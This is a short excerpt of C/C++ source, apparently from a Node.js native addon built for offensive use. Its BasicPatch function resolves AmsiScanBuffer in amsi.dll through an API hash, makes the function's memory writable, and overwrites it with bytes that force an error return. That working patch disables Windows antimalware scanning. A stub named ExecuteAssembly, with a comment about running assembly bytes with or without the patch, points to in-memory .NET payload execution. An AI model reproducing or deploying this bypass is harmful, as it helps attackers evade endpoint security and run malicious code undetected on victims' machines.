| 551 | } |
| 552 | |
| 553 | VOID BasicPatch() { |
| 554 | PVOID Func = NULL; |
| 555 | CHAR amsi[] = { 'a', 'm', 's', 'i', '.', 'd', 'l', 'l', '\0' }; |
| 556 | BYTE patch[] = { 0x90, 0x90, 0x90, 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; |
| 557 | DWORD _ = NULL; |
| 558 | |
| 559 | #define H_API_AMSISCANBUFFER 0xfbed80ce634a1f15 |
| 560 | xGetProcAddr(LoadLibraryA(amsi), H_API_AMSISCANBUFFER, (PHANDLE)&Func); |
| 561 | |
| 562 | DPRINT("Protecting amsi scanbuffer RWX\n"); |
| 563 | VirtualProtect(Func, sizeof(patch), PAGE_EXECUTE_READWRITE, &_); |
| 564 | DPRINT("Patching\n"); |
| 565 | memcpy(Func, patch, sizeof(patch)); |
| 566 | VirtualProtect(Func, sizeof(patch), PAGE_EXECUTE_READ, &_); |
| 567 | DPRINT("Patched\n"); |
| 568 | return; |
| 569 | } |
| 570 | // execute_assembly ( [assembly bytes], [patch:true|not], [args]) |
| 571 | Napi::String ExecuteAssembly(const Napi::CallbackInfo& info) { |
| 572 |
no test coverage detected